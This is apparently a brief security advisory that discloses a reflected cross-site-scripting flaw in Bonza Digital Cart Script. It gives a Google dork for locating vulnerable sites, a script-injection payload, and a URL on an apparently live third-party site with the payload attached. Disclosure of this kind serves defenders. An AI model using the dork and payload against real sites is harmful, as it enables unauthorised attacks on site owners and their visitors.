============================================================================================================================ | # Title : Bonza Digital Cart Script version 1 XSS Vulnerability | | # Author : indoushka | | # email : indoushka4ever@gmail.com | | # Tested on : windows 10 Français V.(Pro) | | # Version : 1 | | # Vendor : http://www.turnkeycentral.com/scripts/bonza-digital-cart-script/ | | # Dork : "cms_pages.php?pn=Disclaimer" | ============================================================================================================================ poc : [+] Dorking İn Google Or Other Search Enggine [+] use payload : <script>alert(/indoushka/);</script> http://jofu.bplaced.net//re.php?opt4&id=1%27%22()%26%25%3Cscript%3Ealert(/indoushka/);%3C/script%3E Greetz :---------------------------------------------------------------------------------------- | jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic | | ================================================================================================